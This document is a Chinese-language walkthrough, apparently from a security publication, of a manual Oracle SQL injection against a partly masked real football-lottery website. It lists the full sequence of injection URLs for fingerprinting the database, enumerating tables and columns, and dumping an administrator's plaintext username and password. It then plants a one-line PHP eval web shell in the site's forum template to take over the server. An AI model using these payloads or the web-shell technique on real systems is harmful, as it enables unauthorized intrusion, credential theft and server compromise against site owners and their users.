參考案例:手工Oracle注入某足彩在線網(wǎng)站
某足彩在線網(wǎng)站是一個(gè)大型的足彩站點(diǎn),在其中存在著注入點(diǎn),鏈接如下:http://www.****china.com/jst/md_end.jsp?id=76,以該注入點(diǎn)為例,講解如何進(jìn)行Oracle手工注入攻擊檢測(cè)。
判斷注入點(diǎn)
在鏈接地址后加上單引號(hào),返回信息"java.sql.SQLException: ORA-01756",可初步判斷為Oracle的數(shù)據(jù)庫(kù)。
在鏈接后添加提交"/*",返回錯(cuò)誤頁面,說明數(shù)據(jù)庫(kù)不是MySQL的。繼續(xù)在注入點(diǎn)鏈接后添加"--",顯示正常頁面,說明數(shù)據(jù)庫(kù)可能為MSSQL和Oracle。再提交:
http://www.****china.com/jst/md_end.jsp?id=76 and (select count (*) from user_tables)>0--
http://www.****china.com/jst/md_end.jsp?id=76 and (select count (*) from dual)>0--
都返回正常頁面(圖1),確認(rèn)為Oracle的數(shù)據(jù)庫(kù)。
圖1 確認(rèn)Oracle注入#p#
字段數(shù)目與字段類型檢測(cè)
先檢測(cè)注入點(diǎn)處查詢字段數(shù)目,提交:
http://www.****china.com/jst/md_end.jsp?id=76 order by 10 //返回錯(cuò)誤頁面
http://www.****china.com/jst/md_end.jsp?id=76 order by 5 //返回正常頁面
http://www.****china.com/jst/md_end.jsp?id=76 order by 8 //返回錯(cuò)誤頁面
http://www.****china.com/jst/md_end.jsp?id=76 order by 7 //返回正常頁面
說明當(dāng)前表存在7個(gè)字段。下面再來檢測(cè)字段類型,提交:
http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select 1,2,3,4,5,6,7 from dual
返回錯(cuò)誤信息,提示(圖2):
expression must have same datatype
圖2 數(shù)據(jù)類型錯(cuò)誤#p#
很顯然,提交的字段類型不正確,所以查詢出錯(cuò)。于是改為提交:
http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select null,null,null,null,null,null,null from dual
返回正常頁面,說明字段數(shù)目確實(shí)為7個(gè),但是需要確定字段類型。依次提交如下:
http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select 'null',null,null,null,null,null,null from dual //返回正常頁面
http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select null,'null',null,null,null,null,null from dual //返回錯(cuò)誤頁面
http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select null,null,'null',null,null,null,null from dual //返回正常頁面
http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select null,null,null,'null',null,null,null from dual //返回正常頁面
……
上面的查詢中,用'null'字符串檢測(cè)該字段處是否為字符型,如果返回正常頁面則說明為字符型數(shù)據(jù),返回錯(cuò)誤頁面,則說明該處為數(shù)字型。
提交檢測(cè)完畢后,確認(rèn)1,3,4,6,7位置處為字符型。提交如下:
http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select '1',2,'3','4',5,'6','7' from dual
返回正常頁面(圖3),說明字段類型正確。
圖3 確認(rèn)數(shù)據(jù)類型
檢測(cè)注入點(diǎn)信息
對(duì)注入點(diǎn)進(jìn)行簡(jiǎn)單的信息檢測(cè),可選擇字符型字段處顯示要查詢的信息,提交如下:
http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select (select banner from sys.v_$version where rownum=1),2,(select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual), (select member from v$logfile where rownum=1),5,'6', (select instance_name from v$instance) from dual
從返回頁面中得到各種信息(圖4):
數(shù)據(jù)庫(kù)版本為Oracle Database 10g Enterprise Edition Release 10.2.0.4.0 - 64bi;
前數(shù)據(jù)庫(kù)連接用戶名為TOTO;
操作系統(tǒng)平臺(tái)為L(zhǎng)inux;
服務(wù)器sid為racdb2。
圖4 返回注入點(diǎn)各種信息#p#
查詢獲取表名
先來查詢一下當(dāng)前數(shù)據(jù)庫(kù)中的表名,提交:
http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select '1',2,'3',(select table_name from user_tables where rownum=1),5,'6','7' from dual
圖5
這里選擇了字段4處返回信息,得到第1個(gè)表名為ACCOUNTS(圖5)。
http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select '1',2,'3',(select table_name from user_tables where rownum=1 and table_name<>'ACCOUNTS'),5,'6','7' from dual
注意,表名一定要大寫。提交后返回第2個(gè)表名為A_USER。再提交:
http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select '1',2,'3',(select table_name from user_tables where rownum=1 and table_name<>'ACCOUNTS' and table_name<>'A_USER'),5,'6','7' from dual
得到第3個(gè)表名BOBO_URL_INFO。用同樣的方法,可得到其它所有表名,發(fā)現(xiàn)其中有一個(gè)極為重要的表名USERMG。#p#
查詢獲取字段名及內(nèi)容
選擇對(duì)USERMG表進(jìn)行查詢,提交:
http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select '1',2,'3',(select column_name from user_tab_columns where table_name='USERMG' and rownum=1),5,'6','7' from dual
返回USERMG表中第一個(gè)字段名USER_NAME,再提交:
http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select '1',2,'3',(select column_name from user_tab_columns where table_name='USERMG' and column_name<>'USER_NAME' and rownum=1),5,'6','7' from dual
圖6 返回表中字段名
返回第2個(gè)字段名USER_PASS(圖6)。這兩個(gè)字段名很明顯是用來存儲(chǔ)用戶名和密碼的,直接查詢其內(nèi)容:
http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select USERNAME,2,'3',USER_PASS,5,'6','7' from USERMG
返回頁面中,得到了用戶名和密碼為:admin/toto11admin(圖7)。
圖7 獲得管理員帳號(hào)數(shù)據(jù)#p#
登陸后臺(tái)上傳WebShell
沒有直接查找到網(wǎng)站的后臺(tái),但是利用管理員帳號(hào),可以從前臺(tái)進(jìn)行登錄。登錄進(jìn)入后,發(fā)現(xiàn)可進(jìn)入體彩論壇,在論壇中在論壇后臺(tái)管理頁面,直接用此帳號(hào)進(jìn)行登陸,進(jìn)入論壇管理后臺(tái)。
在"論壇管理"→"界面風(fēng)格"→"默認(rèn)風(fēng)格"→"詳情"中,點(diǎn)擊"新增變量",將變量?jī)?nèi)容設(shè)置為:
', '#999');eval($_POST[c]);
圖8 添加變量寫入一句話木馬
替換內(nèi)容可隨便填(圖8)。點(diǎn)擊"提交"按鈕后,一句話木馬就被寫入模板風(fēng)格文件中了。用一句話木馬連接論壇風(fēng)格頁面文件:
http://bbs.****china.com/forumdata/cache/style_1.php
圖9 連接一句話木馬
密碼為c,粘貼入要上傳的WebShell代碼內(nèi)容,即可連接一句話木馬獲得WebShell(圖9)。WebShell的權(quán)限比較大,可輕易的控制遠(yuǎn)程網(wǎng)站服務(wù)器。
【編輯推薦】